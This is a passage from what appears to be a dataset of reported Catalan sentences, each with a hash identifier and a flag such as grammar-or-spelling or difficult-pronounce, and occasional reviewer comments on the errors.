detendrà el tonell . 3e48ca64e450fc8f4558f26f001c56cc5b0685fdc383e0ecc57f3a9c488249b3 ca grammar-or-spelling Les Bermudes foren emprades l'època victoriana. 3e4a5c344d312fb82fabf72312a5c721d557dcd5004d636eb796b3f5187b0a63 ca grammar-or-spelling Aquestes són provocades per factors externs o internes. 3e3c37d5c4796fb72671f61396193db8481f9463d42350ec4c4a6771a70cfd7b ca grammar-or-spelling Saps si cau a prop de Benavites? 3e666f151df9bbb127e64c342e55f648d21ae0b14652e8d7e9cf50ee20cf2a1c ca grammar-or-spelling Dissabte en Roc i en Garbí iran al metge. 3e6801940153d55ba627861a49a2e0134a0cd8377da36299025f8680b28ae2ec ca grammar-or-spelling En anys posteriors, Heatlie es va concentrar a fer composicions musicals per a la televisió infantil. 3e678e4ebf3c5ae1e30ad44a310792de43e88e1e116e854ffc0041a7c33f7743 ca difficult-pronounce Jo no sóc català sinó valencià, i eixa circumstància condiciona inevitablement la meua posició. 3e67511c8f4a1b268b8cd8e5a50665083f510cb59b6e8240355d791ac61c7a69 ca grammar-or-spelling El nou d'octubre na Maria irà a la biblioteca. 3e5daee93b450e60499f9d67fb4e5a19ec6ddef7fa06405976615412fe5bd630 ca grammar-or-spelling L'endemà Swarnalatha truca personalment a Pinky i li demana que aprengui música Carnatic. 3e6a21800e390dfbdf36d986d810edacc052a7a5f8878aba25b2d3b33fda7bd4 ca difficult-pronounce Dimarts en Nel i na Clàudia iran a Vidreres. 3e5b733f4ee54094624bff8960874fdc9d17433351a1ecc8493052d3720cbd3a ca grammar-or-spelling A Newsboys Holiday, que inclou una cançó de Tait gravada prèviament. 3dc6cd6b5ed5c71126d371e25357f4fd5e2b619f3d2e22bf17b168cdd44f3e6b ca difficult-pronounce Northrop i McDonnell Douglas van formar un equip amb un acord similar. 3e684b17efec27559b06695510abdae28d18119a6a5f05a5abfcbfa88b6be8ec ca difficult-pronounce Divendres na Tanit i en Nel voldria anar al cinema. 3e76313757ee5dbc5af5a094814d9efe3f098baf573b68902c0c922c8c7f3839 ca grammar-or-spelling Dijous en Quim irà al cinema. 3e6b4120ca09a0a820159bb030dd07a0ad68ad5f7e2748043d73021f7056944a ca grammar-or-spelling Demà passat na Sira i en Martí iran a la platja. 3e7dec1624acb4c211ba92daf7b8d3da698e6932c630f1e2e81ccff46dfe69c8 ca grammar-or-spelling Demà passat na Tanit i en Nel iran a visitar mon oncle. 3e74775eb77c995deaa8e8dfc651f329655a4dce405ecc0833adad2b74819189 ca grammar-or-spelling En alguns llocs també se li afegeixen mongetes verdes i pebrots verds dolços. 3e4b225450e9dc53826272765ee3a9a5f825d3c081b00f0b813c213b8d8df9f1 ca Se li afegeix mongeta tendra. Mongetes verdes és castellà Dijous en Nico irà d'excursió. 3e85c8ddf4ef73f014d1b4f0759d76086c40134c00c456fa76df7a875b33b674 ca grammar-or-spelling Facis una ferum molt forta de peix, com de moll. 3e7b5cf7a53ba3f791b471b820677160ede82a31173f6fbb514c5f2c432c6b56 ca grammar-or-spelling A LaFayette hi ha una església d'abans de la guerra, la Lafayette Methodist Church. 3e5cd1cbae2fde469c27670457417b955d4d3e603481718793c1752aaf5f8894 ca difficult-pronounce És un dels criteris freqüentment emprat per a definir la personalitat. 3e7a860076d8ec9200ccb53126b2ef704340def2e5746080a7cd68df507b2082 ca grammar-or-spelling Dimarts na Rita i en Pol iran a Potries. 3e74b85641bb3e83169f684d250644d90e85ed37c9df357abdde0e65a8b0f017 ca grammar-or-spelling Per Cap d'Any na Thaís i na Mireia iran a la Jonquera. 3e85bf7e591ca2669f151020f462356a584ba5927768f50ae52b1dbd199c76b4 ca grammar-or-spelling El nou d'octubre en Martí i en Lluc iran al cinema. 3e68ff1c700f6d78bd4f05a25c359f7eab054b1b140d9891793e40ace3e8ab49 ca grammar-or-spelling Diumenge na Blanca irà al teatre. 3e832cc70129adfa6a1834d5430a9a549e2a72d8421419d9522c2e4b7a898870 ca grammar-or-spelling Pedro, però, va preferir el martiri i fou mort. 3e8b17d8f0d99b578c12f0657439151fda2d6ca610553ab3291f9876bd878eb8 ca grammar-or-spelling Hauria d'anar a la jardins d'Elvira Farreras Valentí número trenta-u. 3e8228c4dd50c74d5629df1a4e98ffa7b3cd431c98edf0f279236253c5a7a18a ca grammar-or-spelling A tot el món hi ha al voltant de sis fabricants de renom. 3e8a693875da48cb6cb3bd7565c2a9cdb6c516ae7ed5290f99e73edad2de0f0d ca grammar-or-spelling Mentre Demetri havia desembarcat amb mercenaris cretencs a la costa prop d'Antioquia. 3e618a03f7bdefc322862765a247858f6563d416f22b4ed8d894272a8e11abdf ca grammar-or-spelling En les úlceres de peu diabètic hi ha proves temptatives de beneficis. 3e8a28e7890f250dc1fd4a02d8fea7afd55dea18c5b506be399718171378d9c5 ca grammar-or-spelling Li ofereixi tot allò que li cal. 3e8998738184579ae152a48d91f42177ce04c0461d4d1a5237c44e1eaa9b3f6e ca grammar-or-spelling Hunter va ser enviat al bisbe Bonner a Londres. 3e66b8abcdaea305ed8c26c21aa5be45987a8e5ee8db9764b627f4120ea048c7 ca difficult-pronounce Dijous na Tura i na Gal·la iran a la Vall d'Ebo. 3e92bc0580ceb6008da4de934155434f088a5723e1b1b5ddf61622b75f3eaf39 ca grammar-or-spelling És el més membre més basal del seu clade. 3e98d29d93f1cfc56b49780d1f8fa6ee069238c6029412722b6e8af548022c1c ca grammar-or-spelling El nou d'octubre na Frida i na Clàudia iran a visitar mon oncle. 3e9212a5db79e1743a4feb771b62181e113b2311c61e3cef0846b9d99ee97a10 ca grammar-or-spelling Els equips de Siena Heights són coneguts com els Saints. 3e831397747578432846bfd0e1d14d0bb6f6ac18d87743c734fed1eec5af8efd ca difficult-pronounce Diumenge en Nel irà a Ròtova. 3ea08979c8e50f4467bb7a90e653dfe52eb39f927fc57631246ecc2966d88f07 ca grammar-or-spelling Beerenberg es compon principalment de fluxos de lava basàltica amb quantitats menors de tefra. 3e8ea9495398956880b125f6e18ca8a32463e20e3b9e0947c960e32c3d4bcf97 ca difficult-pronounce Quan "The Judy Garland Show" va ser renovat sense èxit, Van Dyke va deixar el programa. 3ea1b5cb4799ea72461cb165f61251e5898cb193d8d2d7ffdf7c63205db1d20e ca difficult-pronounce El vint-i-nou de febrer na Tura irà a Sogorb. 3ea01e699215bb30323598c6e9f03c8ba6265e6ee7112d51d475138de985649a ca grammar-or-spelling Abans d'això, la cadena era de capital privat de Three Cities Research. 3e8eb236a68e217859a3378bbc279adeb3680839e06949ddbf833fc16ba96ac0 ca grammar-or-spelling Abans d'això, la cadena era de capital privat de Three Cities Research. 3e8eb236a68e217859a3378bbc279adeb3680839e06949ddbf833fc16ba96ac0 ca difficult-pronounce Em pots ajudar a trobar l'autor! Autor! Tràiler? 3e9d1376628540c2d5d7f47aca78a434c96cafe8f99620e491a00895ca226f64 ca grammar-or-spelling El vint-i-nou de febrer n'Eulàlia i en Marcel iran al metge. 3e96bd539137a1539d541c5018f523d4c22059312eeb0ed658cf88aad5d9243d ca grammar-or-spelling El deu d'agost na Tanit irà a Pont de Molins. 3e9b537aa50e0d142ad0a6d0216c3e5b7713b22c3f7f3ddbde6268f2cb9cf9be ca grammar-or-spelling La seva conferència a la Trampoline Hall es va titular "No practiquis sexe ocasional". 3e9346b8c636d577be746ff6b859ff5888867a0722dc10db2f94a5eee7f7e19a ca difficult-pronounce Dijous en Julià i en Josep iran a Castellnou de Bages. 3e64a7200ca9ef54d643bdc55fd3c0fc2599398850c1da9d606d4ee1f16659ca ca grammar-or-spelling Harry Metcalfe, que també va exercir d'editor, és el director editorial i fundador. 3e7e718154460b59395b47b3582f7ec88eadf652920d73d1e9da784161e19bec ca difficult-pronounce Necessito un bitllet de tren per anar al Pinós dijous. 3eab26605aa4293d9b666a58681e337404407d439e2e9933e7c46937ee6378c2 ca grammar-or-spelling El Servei Postal del Estats Units gestiona l'oficina de correus de Como. 3e91a9ed1174b4d71931d95cb4d68cb00102345f5bd3cc7a6198337b5c4418b2 ca grammar-or-spelling Diumenge na Cira i en Llop iran al teatre. 3eaea03d08ac6a79ac6ad571a980657e271cd2ccec1e54bf549596d94de09478 ca grammar-or-spelling Divendres na Blanca i na Joana iran a Torroella de Montgrí. 3e4927fc1ced56188bc0d59865938bc2ae4a19991db84ad73486c2043916fa74 ca grammar-or-spelling Paul Revere Charter Middle School és l'escola secundària de Brentwood. 3e97a4e42a443e173518cb07815c9285821e3ee27af02d21bddc06047edd199e ca difficult-pronounce Hauria d'anar a la jardins d'Elvira Farreras Valentí número trenta-u. 3e8228c4dd50c74d5629df1a4e98ffa7b3cd431c98edf0f279236253c5a7a18a ca grammar-or-spelling El vint-i-nou de febrer en Joan i en Gerard iran a Tarroja de Segarra. 3eadbbcd613009c20c9a96c18d76198ac08a11535a1283be5f87bba465ded928 ca grammar-or-spelling Les negres recuperen el peó, però les blanques poden guanyar algun temps atacant el cavall. 3eb2b779b934cdb64576e1e2209a3192e45a4ce6d4fe80eda3c22922a7527e69 ca grammar-or-spelling Les negres recuperen el peó, però les blanques poden guanyar algun temps atacant el cavall. 3eb2b779b934cdb64576e1e2209a3192e45a4ce6d4fe80eda3c22922a7527e69 ca Sobra la paraula ALGUN El dialecte Hailufeng, però, només es refereix a la variant Hokkien. 3eacf05b0ce1a64e3d6914d22c61e23e2b0ca1f3c4b2c03126413f7ba7054f0a ca difficult-pronounce Una qüestió de precedència va portar a l'erecció del comtat de Bar en ducat. 3eb9455d8001c61fcc7aafba9afda5f57048c75dfcad1f143f654fdbb8d7ef2e ca grammar-or-spelling La casa del silencio. 3e9519f9823e94ced091c78730c8ff196ef6f542bb8bc23ea2de68481cf9b2e4 ca different-language També el pare s'adona, però les seves idees són desmentides. 3ebec63f61589df4d3f48a8210d93b73a112c0a71c1aa3b46f3f1f52da39dd8b ca grammar-or-spelling Bernat Erta és un velocista español nascut a Lleida. 3ec42dbe2e1ddaf80beabb8ff6f3d0cce6fb214a87763b69e0a4d1bfbb9db3a9 ca grammar-or-spelling Dissabte na Mar i en Nil iran a visitar mon oncle. 3ec9d279b48722d2166f5fc171e4caf0be9c23a9b691564e3b5b95ea9d77d5d7 ca grammar-or-spelling Demà na Bruna irà a la biblioteca. 3ed0f1955a5a4105a69eba2a8bb6a402e9d48aba6e37a5363aa70dedcff2bd78 ca grammar-or-spelling Diumenge na Tanit irà al Pinós. 3e942d355723a5fb5edd05969a74cdec684a0c58f9048f12029513c01082ec78 ca grammar-or-spelling El deu d'agost en Telm i en Bru iran a la platja. 3e6886a1380af0c59523965136e24a5b910f688124483711461cd70bef164e54 ca grammar-or-spelling Wen Shui li dóna la benvinguda, però Wen Xin i Wen Quan no. 3edf37610321d2aef60898a2d2b07e159125b48ede441fa2d4d3cd0038a4bed4 ca difficult-pronounce Ací predominen els ametlers i raïm. 3ee8788516c8f82ea0426336b7b68936bdfd0a4aecb8e8a105452de11704febd ca grammar-or-spelling Dissabte na Bruna irà a la platja. 3ee607fb79193935be51ec58d1404ebef2d0d625e71d4720d6bdd27034de6e68 ca grammar-or-spelling Hi va haver una congregació a Red Lake, Ontario, Canadà. 3ee8fe4f5774161c726b3864fe6e6c649695b1c9e1647ebafe7e467a9fbc0f3b ca difficult-pronounce Aleshores, procura amagar l’embaràs i a la seva criatura quan la té. 3eeb50cbbcc66fa7fba7c79b6e03e3738625220ed645a28199253762e675ca59 ca grammar-or-spelling Aleshores, procura amagar l’embaràs i a la seva criatura quan la té. 3eeb50cbbcc66fa7fba7c79b6e03e3738625220ed645a28199253762e675ca59 ca Procurà va amb accent pq és passat Dimecres n'Oriol irà a la Pobla de Mafumet. 3eeb837f926a85aa5cd2fdb8771fa6c8c72d224e68f7291ed16ea772a34b260c ca grammar-or-spelling Demà en Maria va a Benigànim. 3ee190794322e49801ac1d668165be5f0846c1e40a8294d7cab666ba2e9dc9bf ca grammar-or-spelling Demà en Maria va a Benigànim. 3ee190794322e49801ac1d668165be5f0846c1e40a8294d7cab666ba2e9dc9bf ca Marià amb accent Està situada a Ivry-sur-Seine. 3ee506d1017cf6774e08c090ff87c9503fad8b838574409f4c06f69ff1aa8b61 ca difficult-pronounce Gordon va néixer a Brookline, Massachusetts. 3eda69a71f6b496d5d66836a753ea5a36f05259b16fc78e01bf62b2f53680a81 ca different-language Weehawken forma part de l'àrea metropolitana de Nova York. 3e677d5878508f74efda667749366fbf29671b25aed1a5d0e562ab84e66f933b ca difficult-pronounce El deu d'agost en Ferran i na Lola iran a Guardamar del Segura. 3eb6410bda72e12ccad1a76fd0b32b0fe30d806241256d16e84f877fb8c75bc0 ca grammar-or-spelling Dimarts na Neida i en Nil iran a Alzira. 3ee42c98b74f2669da6eae3e29df72a87e9d202b70984978e7c4f11e017e6f65 ca grammar-or-spelling S"anima als refugiats a reconstruir les seves vides per mitjà de l"educació i l"experiència laboral. 3ee7e36d74cb4398d668979798a5bd2b724ced3ec47fa5a3ffed07a04868879d ca grammar-or-spelling Demà passat na Carlota irà a la platja. 3ee1ac212641af94386be07b40ab4ae16b2d22daaefa4b67a621d489b5f55bd2 ca grammar-or-spelling Nogensmenys, el seu record ha engrescat nombrosos intel·lectuals a l'interior i a l'exili. 3ef0513ec652ac3ede5c089fc145a430d1c16ebfa095a8c1b5e1b61ffd8f9336 ca grammar-or-spelling Un nen està va en bicicleta sota la pluja amb un impermeable. 3f56ed7ec516205555d1a0c2e78e264785c48e79b1314ad383411c7185018f62 ca grammar-or-spelling Així mateix, tots quatres han estat sancionats amb cinc mil quatre-cents euros. 3f7fa4d9876b653318188c2ff5d6bfb4744d85d126bd78bbfc64775fca578b28 ca grammar-or-spelling Actualment, Harry E. Rediger està complint el segon mandat com a alcalde de Cape Girardeau. 3f716fed56db94ee17576a654ba5a9ef660743a176de6db76608a078a1487264 ca difficult-pronounce El vint-i-tres de maig irem a visitar mon oncle. 3f9db1f179612a5b93f128273bf1e44a4312f4c861de7eb1fbbad5f1e13fbfa2 ca grammar-or-spelling Fou construïda el i avui dia és un important centre econòmic. 3f141d27e4dca4ca5ed4038b494e475b26565e9c0c0e6f7c9ec79f13bd147b1d ca grammar-or-spelling El llac Illawarra és conegut per la pesca recreativa, la pesca de la gamba y la navegació a vela. 3f9c626a6e5484d2fc755c3ae8f977bd32c9ba9669b26b5dd92e94f934c339f3 ca grammar-or-spelling Dijous en Peris i en Magí iran a Picassent. 3f9d5b2b47e1cb98919146aa329e4551efe50c9d121123e2217928e719d3aa76 ca grammar-or-spelling Un nen està va en bicicleta sota la pluja amb un impermeable. 3f56ed7ec516205555d1a0c2e78e264785c48e79b1314ad383411c7185018f62 ca grammar-or-spelling Hi poden haver vents d'efecte Foehn amb vents del sud. 3fa75aee6de0d38263fb967f6c50de702f9045520491ea8099d6c3aa7eebbec2 ca grammar-or-spelling Amb el pas dels anys, noves evidències van ser apareixent. 40166a533404478eeae2bc1c524ff803f230b57a2e9a531413861c7cef863140 ca grammar-or-spelling Els legisladora buscaven i actuava segons el seus consells. 40016485b9c090408e49c5c03aa8cacc5b70393970e1eb24739908f552661391 ca grammar-or-spelling Mostrant una primerenca aptitud per a la música, ja composava durant la seva adolescència. 400af7bb6475087d61188376a30eba946c158173033e8922bcba88217a434cff ca grammar-or-spelling Quan va esclatar de la Primera Guerra Mundial, Kassner es va traslladar a Viena. 403c70442bac89f6a74595984c1799259cab6d1d6d36b1ce9e58aea02335598f ca grammar-or-spelling Volia notificar el canvi de el compte bancari. 40196e42c7ec20c04553973ee40b58c58bff75ac22fc960b34cb76b21a09b659 ca grammar-or-spelling Elabore una cosmovisió on l'ésser humà és fràgil i sotmès al destí. 403e971f1ca462b9b909b068e12ba3f2efaac5a5b6c811231af53902c2740f43 ca grammar-or-spelling Per Cap d'Any na Laura i na Marta iran als Garidells. 4045b196083af32dd0abe0c0d841f1e91e2043ed07cf8cd20759d171db9abff0 ca grammar-or-spelling El vint-i-nou de febrer na Zoè irà a visitar mon oncle. 4043d5139a3026460b765b1f231aa174886fc633523c16ded82089a0ceb29597 ca grammar-or-spelling Necessiten el sue abric per mantenir-los frescos i protegir la seva pell. 3ff2186ad57c26bb9cf7eb97212d9ed8eeab06e5b7b8398146b9bb71234b24b7 ca grammar-or-spelling De vegades, el terme "Zalesye" pot incloure la regió superior del Volga i la regió inferior del Klyazma. 404e4712bfc1f953114668da1be4e5a37980080c0edaf3e96a8fd1d8f8301c66 ca difficult-pronounce Per Cap d'Any na Joana irà al teatre. 405229c460002ba3b186720f6f8961a3821cfb4be5a70d50b6ba3a9a42a959db ca grammar-or-spelling La majoria de residents coneixen el Windlehurst Park com el "petit parc". 3ff4a41053530dca3904d94718eb2a4d3cda09d125ef74fe5cefab198af7a4b6 ca difficult-pronounce Hi ha vuit cm de neu ben seca i segueix nevant. 404300bda25a65a1c6887b8f0b36ba92321aa5511385ed081e232923fb0ec59d ca grammar-or-spelling El nou d'octubre en Mateu i na Bruna iran d'excursió. 404617b8d4e26de6ab5deedcda9b6b06daff8f2a35713a70d6bc8ee9e31c550f ca grammar-or-spelling Quan torna, els demana comptes de la seva gestió. 4047b08d3a20c51e862b5e38031beb637caf99d3b6c6cb956bc0f522a38d6c6d ca grammar-or-spelling Quan torna, els demana comptes de la seva gestió. 4047b08d3a20c51e862b5e38031beb637caf99d3b6c6cb956bc0f522a38d6c6d ca Pedir cuentas demanar comptes,, calc castellà, demanar explicacions catala Avui Crawford viu a Canadà, i es coneguda amb el nom de Carole Joan Crawford-Merkens. 40550d1de0bd7bc2f2f0868cb2ddd9b8d9aacf06450387856ed8503c6f6c8a09 ca difficult-pronounce A n'al passeig no més hi havia gent solitària 40518f307f867ae0df2d2bc319fa27c8e3d0b49ccf0a446dbc3166551f2ca74e ca grammar-or-spelling Una dona asiàtica i sorra en un mercat amb el seus productes. 40751691b121fc762f960c43f25bf54529f53cdd82b6d18dae534102b77b79a8 ca no lo veig el sentit Sí, el seu de-ena-i i la seva reserva. 40381c0b0db38c24a3c3a93c6e173e0c86221b50fe2638d7ab9fbfaea44db726 ca difficult-pronunciation Bryan Lee O'Malley va anar al institut Saint Thomas Aquinas Catholic Secondary School a Londres, Ontario, Canadà. 40170e136b0c5d6bd150684318a6ce84f02baebafe16074414084ecb90105231 ca grammar-or-spelling La majoria són experimentals. 4043058a8b7c9c3f283e1c05a94fffc0c19dd42038808791400679ed831cf9fe ca grammar-or-spelling A n'al passeig no més hi havia gent solitària 40518f307f867ae0df2d2bc319fa27c8e3d0b49ccf0a446dbc3166551f2ca74e ca grammar-or-spelling Penso que el poble gos està pirat. 409b395f95a860efcb43c87f6c0b330d7f68504feb04a0f1bdc8d8fbf317f058 ca grammar-or-spelling Les botigues on es venen cervesa Hook Norton són supermercats, botigues de begudes i cerveseries. 40cc656e8eff77243c50e2a81e82015774d905e1233b6342908592836485935d ca grammar-or-spelling Una de les grafies ha de ser entès com el correcte. 40aca57837cf7b20014cc7bd5915f8e46b04e6609a180c856218c30e3852041c ca grammar-or-spelling Fins ara s’han administrat vint-i-sis mil quatre-cents catorze dosis. 40e493f89d6e0e853a933b3c0796c77c1fa8f173e6f2d86ef8a3a7c47b7f5926 ca grammar-or-spelling Com actiu, va començar en teatre amateur a diversos centres culturals. 414cb7ca86cff027a51a911ceea10814351bd7e21cbebfca24d5f206e7c391ba ca grammar-or-spelling Aquestes queden relaxats per la simetria de les obertures. 413a853aeac46f79332a74450f9e7ad9223d1a55b94ffbd1185ecd44dc707549 ca grammar-or-spelling El gràfic actual varia d'hospital a hospital i de país a país. 4198e964820e27a4fc29e17080c617ce8e87fa9f448fc713c3d700efe9635484 ca grammar-or-spelling Ha treballat com agricultor i ha estat president de la Cambra Agrària de l'Alt Aragó. 418dcd0b72e0a24f68cefcdedbb18e410bc3e339e7e6e1fe9607c939744c25cc ca grammar-or-spelling Què hi ha a la jardins de Maria Soteras Mauri número seixanta-tres? 41a2589cdfe3232b9bd7d4f90170951c13898201bf719c3e7b07b20c9cf9c65e ca grammar-or-spelling El curs dos mil vint-dos mil vint-i-u començarà amb totes les escoles del Principat obertes al setembre. 420a566b5a30a64bdabd880168d7bba138881f39a3877d1d7c423bcc3a232c3a ca grammar-or-spelling Com a compositor oscil·là entre el paper decisiu de gènere, religiosa, lieder, òpera. 4245b3e21dc4b902539df3d6d1139950d25e819c1e24a8bd6a26a845107c13be ca grammar-or-spelling Aquest representa al consell, en lloc del comtat de Wiltshire com a àrea geogràfica. 422a2c256f36e7bc0aab7109a6708cc2122a72bebeb209ce1b00a2970fe93ec5 ca grammar-or-spelling Judith Weber i Elisabet Borsheim dirigiran el Centre d'Excel·lència de Recerca Biomèdica. 42d1e43709e45dd87b5dce45322fad3b4f57e65e6ab7c986435b7b0a0b0a94fe ca grammar-or-spelling Com indica el propi nom, s"especialitza en la medicina xinesa tradicional. 42e96055b7b4ff9e45c77ab92a24b12516599a8fd012c1fb26bf49a3fcbf3e50 ca grammar-or-spelling Es troba a les Bahames, el sud de Florida i Cuba. 43662a019dd18f9dce23aa430997ead84ff89e686538b51477e369aeba4b1a44 ca grammar-or-spelling Vull anar a Massanes amb bicicleta. 4356ac7e2fb8efd4d67697009afc4d016a32f6ddf1e3b09e58af18494cab5a69 ca He llegit moltes frases que porten l'article "na" davant d'un nom de persona femení. En català central no és gens, habitual això. En particular, Ostrom va trobar que l'"Arqueoptèrix" era força similar a la família de teròpods Dromaeosauridae. 435c7c8215b5701521afd30689a47a3781ee4302919bc869b16c70236ae0ce3d ca difficult-pronounce Ells està casada i té quatre fills. 434f66cfabec8f2039177c2f4493f673d318e5aef02a15d53c63e071cb58ffb7 ca grammar-or-spelling Aquest curs es feia en benefici dels estudiants del curs de principal oficial de guerra. 4358b6367f613d6907f7f64f1e5247a4c14e432c7d49cd38187a583924f67c30 ca No estic segura que la frase sigui correcta. Dougram per salvar la independència del Deloyer! 43e306c16c8b72d0e3b67c217abdc4eb66e9761597052dc0459254bad3c2da59 ca La frase no s'entén. És un ornitisqui molt basal. 443f47c1d9b6cec05810571cb8883cf1ffa09be63a356266dbdfae407462770e ca Diria que no vol dir res. D'ells, quatre amb inici i final a Wernigerode. 44273ac410e685703ae4c6f8f1ea8c4a004fabb89846f453195cab4438136d8a ca Crec que successos hauria de ser èxits (que és una mala traducció de l'anglès "success". El verdet és verinós i s'aprofita aquesta característica per a fer-lo servir com fungicida. 4425a2144c8e5247d06adb75840a972e285df58ba74d15964ea0076c7c83ff7c ca Crec que "successo" hauria de ser "èxits". El conreu abans era molt comú però actualment no és gaire utilitzada. 444d9c8ecaa27086133db18030f0bfdd9025e99a989bba049270337d480e9a96 ca grammar-or-spelling Pau Anglada és un iil·lustrador i dibuixant de còmic nascut a Banyoles. 447f56cd44e640e5ea23579b0163aeb74b02c5afecfcc8f0c8900c1bd28a527f ca grammar-or-spelling Tanmateix, açò només passarà si el nom dels jugadors és Alexander McDowell. 4478958aaf6e5277d37d20d667f4056a6e81cb28ad9732084aaed5e7fdc242ad ca grammar-or-spelling L'edat mitjana està plena d'històries amor, impossibles a causa dels convencionalismes. 44cef121b6648685d0ee380c31689fec635d49ec018026ea735b7d8f9e0b1aaf ca grammar-or-spelling No obstant això aquestes condicions, durant aquell any encara va produir treballs d'antropologia filosòfica. 44c18b5af842536d2faba961ae884e4532e1343c0e58a500b423991f249c2d01 ca grammar-or-spelling Les flors són de clor taronja i groc. 44c6c583b8d98ce05a865fcbbceeacb0da4191d54bb44c2f5a5c2652904f910e ca grammar-or-spelling No obstant això aquestes condicions, durant aquell any encara va produir treballs d'antropologia filosòfica. 44c18b5af842536d2faba961ae884e4532e1343c0e58a500b423991f249c2d01 ca grammar-or-spelling Els britànics van escurçar el més tard a Van Diemen's Land. 44a077154c592db684aa5954934900bbd5c7a9559ca6ce9afa25e58c7131046d ca grammar-or-spelling L'edat mitjana està plena d'històries amor, impossibles a causa dels convencionalismes. 44cef121b6648685d0ee380c31689fec635d49ec018026ea735b7d8f9e0b1aaf ca grammar-or-spelling Moltes persones encaren anomenen l"assemblea baptista "Fort Caswell". 44e10ba2772b1e24b1d1731bdf24a4de340c86d52652adbb7063f851dc575a0e ca grammar-or-spelling A l'escala, havien cobert les pedres am cartells de revalenta 453de47fb43fc132232397c1bf7d262547d0897669208eae9b98a6437a1f8694 ca grammar-or-spelling He tancat les finestres quarts de vuit. 4553f7f221c704804e9b880aff47215a6b4ed85b75b455a8bb71129ed4e511dd ca grammar-or-spelling Nien en arbres, i les femelles ponen diversos ous blanc brillant. 455d66ed50a8ce09a0d5befc1ccf85c0d868958e67316c9457a9b9bf1725fd97 ca grammar-or-spelling Té amb una notable portalada plateresca, obra d'Alonso de Covarrubias. 4595cabecbef0006ae79694966cf92dc412c40817ce6e1c74ef93586b6ecddbd ca grammar-or-spelling Moltes persones encaren anomenen l"assemblea baptista "Fort Caswell". 44e10ba2772b1e24b1d1731bdf24a4de340c86d52652adbb7063f851dc575a0e ca grammar-or-spelling Havien de pagar al prior un impost anual a més dels delmes. 45b048499d2a4b288928293fc9bea2359b2f9a8bce6b6c0f4e7a6307da4586c5 ca grammar-or-spelling El vint-i-nou de febrer na Vera i na Mar iran al teatre. 46a7ded076ef5ee2cc064983a40790b4ef8ae0b5cf5dda4020e05e7e97121703 ca Iran com a futur d'anar!!!??? L'embarcador est de Stranraer esta propietat del consell del poble, que el conservava. 46e36d1f3252479c24d60652ff54f6950dc19c22df6dc63d52a13843e81731b8 ca grammar-or-spelling Quina és la proposta per a resoldre el conflicte política. 465c94559f8baa9f13e0035c3bdfea64a5828ab6bb4092eea6595dbc85cc21e6 ca grammar-or-spelling A més és una important mena de ferro, extreta en les mines amb aquesta finalitat. 473fb3071ad456bb934261fa60b2b8df8dbd74a8c833519ca26014f2ce510170 ca grammar-or-spelling Va estar en estat conscient mentre que esperava que arribés una ambulància. 474909f7fd47ed5b8d6a4daea1c4719f3c253c9f1d62fb1796b1bc4f9efe6a09 ca grammar-or-spelling El vint-i-tres de maig na Txell i en Renat August aniré d'excursió. 474d548cb522892c34bbf5b42070a604379683350789ab2d40bccf071ac9e53a ca grammar-or-spelling La ciutat explica també amb diferents teatres, museus i centres esportius. 47211d30e44b949b0e7b8b0e53dde95e3f060b30ef5163e5fc716fc9d2641dbe ca grammar-or-spelling A causa d'això, els electrons apareguts a ambdós costats de la equació s'han cancel·lat. 47c76bafc344c26913b3d4316d00c89badd38cd7b367a0221c20f8f0fe6b72b7 ca grammar-or-spelling Dijous na Carla i en Blai iran al cinema. 4765c1606e95b42c5084aa116fbf0c33a4228cef052d6dabc8fc8436381a233e ca grammar-or-spelling Va decidir que no hi havia prou. 480a995fa6636232805f905b7d4ea75f34e3ae6d2133b140d179df878dfac89d ca grammar-or-spelling Les seves relacions li van permetre aconseguir un treball d'advocat. 4883b76f111b6c320949957b2953502033db30d22d12f1cb906259129ca2901b ca grammar-or-spelling Jo accedisc, acunce, arterialitze, apassione, m'aïre, agracie 489c2576bb8883e1615e784d23916f377f090a20e2340fd98fd0cc8223621d78 ca No sé què és Perquè no podem morir tots junts? 486c1139bd7d4e5d36ce2371169a19e70edf550e36e78316f76feadd4e4d5662 ca grammar-or-spelling El nou d'octubre en Joan i en Marc iran al teatre. 48a82f735e6a430e41c7a37ef8a71a0d9dd3b17d16bf42cb88acdbb5fe865c9d ca grammar-or-spelling El nou d'octubre en Joan i en Marc iran al teatre. 48a82f735e6a430e41c7a37ef8a71a0d9dd3b17d16bf42cb88acdbb5fe865c9d ca different-language Ella sermonejar que necessitava canviar de manera. 48966b664813907b9669d1cb618429682a1e1525667623145b9ccb45149ef973 ca grammar-or-spelling Dones i el tema d'estimar inspirat la majoria de les seves composicions musicals. 48c5b9d1c4bc89adb29cf4c62fa5adfedbaa567e7a48148fb5562a264f1a38cb ca grammar-or-spelling A mitjans anys vuitanta, Saneeya va editar la revista The Star Weekend. 48e814311e184532cae62ceadabdf69ff7826ed207d9f30f8b289a363528e7d6 ca grammar-or-spelling A més de motors més potents permetent una major velocitat de creure i abast. 49ba563fb35630727b26eb8b91a70b5cf0b41c0076bf0faecb6e19f88756981f ca grammar-or-spelling Inicialment es va di senyar per demostrar un quadre d'alumini que va desenvolupar. 4a8d61979a35be5c922df9a2864afdb8c8dcbbbfa6a306efe4ff3ddb6f0c20e3 ca grammar-or-spelling Dijous en Maria i na Laura van a Torres Torres. 4b6638d25c7ff725db2c2efcef9fbecf5fa3c751763d5baf0ac66c7c05f9aa24 ca grammar-or-spelling Aquests dofins assoleixen la maduresa sexual a entre els set i nou anys. 4b9a80f0c451d7db1d21be2e4746c5b0e69ef28a77d6507177613276f4bb5f7c ca grammar-or-spelling Vianants i un ciclista passen a tranquil·lament per davant d'un edifici modern. 4b7bef434e9a9b26801bc1b8a252045294fdc85fff38e198f7a6fe20b3d27a3d ca grammar-or-spelling L'estat de ressonància permet que es produeix carboni mitjançant el procés triple-alfa. 4b9832c817cb6e51f404cf8ad5d78776cb3958ad0802c8017b0094704dbff1d4 ca grammar-or-spelling A més és un joc molt divertit i acte per a totes les edats. 4c110c8e9967bbfc9b3a501c257f9d3eb770ffb7393c1cd60292eb63d84cf3cc ca grammar-or-spelling He d'anar a Savallà del Comtat amb trasport públic el dos de juny a les vuit. 4cd5e24d5e879ff89fc1db7551f43cd7921099e7d8142adbbbc6be9e4416b5c3 ca grammar-or-spelling He d'anar de la passatge de la Cadernera al passatge d'Espiell. 4cbc07eaf92590336985bae783be79573d272539a06c7a2d0e93c2506f8d4b90 ca grammar-or-spelling M'agradaria anar a Badalona amb trasport públic. 4cd72a22b0d45f686e3398a9d95c9a19df44dc81bddfeea6198f84698e74230c ca grammar-or-spelling Les seves finques van ser confiscada i la seva família es va exiliar. 4cfe2ee7bf391e8f3c0da3044aa949e00a9321c17013340e066810845a7f1a0e ca 